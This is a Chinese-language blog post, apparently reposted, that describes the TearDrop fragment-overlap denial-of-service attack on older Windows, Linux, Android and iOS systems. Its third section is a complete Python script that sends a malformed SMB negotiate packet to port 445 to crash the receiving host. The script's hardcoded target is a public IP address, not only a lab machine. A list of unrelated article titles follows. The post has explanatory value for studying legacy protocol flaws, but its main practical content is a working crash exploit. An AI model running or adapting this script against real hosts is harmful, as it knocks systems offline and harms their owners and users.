博客
关于我
(四)拒绝服务–TearDrop 攻击
阅读量:434 次
发布时间:2019-03-06

本文共 1876 字,大约阅读时间需要 6 分钟。

1. 简介
主要针对早期微软操作系统(95、98、3.x、nt)
近些年有人发现对 2.x 版本的安卓系统、6.0 IOS 系统攻击有效
原理很有趣
使用 IP 分段偏移量之间分段覆盖,接收端处理分段覆盖时可被拒绝服务
攻击效果
被攻击者蓝屏、重启、卡死
MAC头(帧头):14个字节,包括目标mac6字节,源mac6字节,上层协议2字节
FCS:帧校验序列,4个字节
ip头:源ip和目标ip,20字节
Ping大包,比较正常分段与teardrop攻击流量的区别
ping -l 4000 192.168.199.158
针对早期windows系统SMB协议的攻击
teardrop_smb.py
针对Android.IOS 系统的攻击
teardrop_androidios.py
攻击向量并不确定,要视具体协议分析
2. 攻击目标
泪滴攻击是一种拒绝服务(DoS)攻击,涉及将碎片数据包发送到目标机器。由于接收这些数据包的机器由于TCP / IP碎片重组错误而无法重新组装,因此数据包相互重叠,导致目标网络设备崩溃。这通常发生在较早的操作系统上,例如Windows 3.1x,Windows 95,Windows NT和2.1.63之前版本的Linux内核。
IP报头中的一个字段是“片段偏移量”字段,指示包含在分段数据包中的数据相对于原始数据包中的数据的起始位置或偏移量。如果一个分片数据包的偏移量和大小之和不同于下一个分片数据包的偏移量和大小之和,则数据包重叠。发生这种情况时,易受泪滴攻击的服务器无法重新组装数据包 – 从而导致拒绝服务状况。
3. 攻击脚本
#!/usr/bin/python
# When SMB2.0 recieve a “&” char in the “Process Id High”
# SMB header field it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA
# filename: teardrop-attack-smb.py
import sys
from socket import socket
from time import sleep
#host = sys.argv[1], 445
#host = “192.168.199.158”, 445
host = “217.113.205.53”, 445
buff = (
“\x00\x00\x00\x90” # Begin SMB header: Session message
“\xff\x53\x4d\x42” # Server Component: SMB
“\x72\x00\x00\x00” # Negociate Protocol
“\x00\x18\x53\xc8” # Operation 0x18 & sub 0xc853
“\x00\x26″# Process ID High: –> ???? normal value should be “\x00\x00”
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe”
“\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54”
“\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31”
“\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00”
“\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57”
“\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61”
“\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c”
“\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c”
“\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e”
“\x30\x30\x32\x00”
)
s = socket()
s.connect(host)
s.send(buff)
s.close()

转载地址:http://vkhyz.baihongyu.com/

你可能感兴趣的文章
Pytest学习(二十)- allure之@allure.step()、allure.attach的详细使用
查看>>
Docker学习(十三)- docker rm 命令详解
查看>>
解决Eclipse左键无法查看maven第三方包的源代码,多图亲测可用【转】
查看>>
selnium远程机上传图片遇到的坑
查看>>
Kali安装Docker
查看>>
Java 持久化操作之 --XML
查看>>
程序员如何提高工作效率
查看>>
(转)在ASP.NET 中实现单点登录(利用Cache, 将用户信息保存在服务器缓存中)
查看>>
【Azure 应用服务】在Azure Funciton中使用Powershell脚本函数,需要存储一些变量值如何解决?
查看>>
RabbitMQ核心概念篇
查看>>
权限管理系统系列之序言
查看>>
Java程序员学习Go指南(终)
查看>>
Go语言实现布谷鸟过滤器
查看>>
Mysql多数据库备份
查看>>
微信小程序setData子元素
查看>>
github: Permission denied (publickey). 问题解决方法
查看>>
Docker常用操作
查看>>
查看已经开放的端口,查看和清理tomcat日志文件
查看>>
ORA-00600: internal error code, arguments: [kole_t2u], [34]
查看>>
TX锁处理
查看>>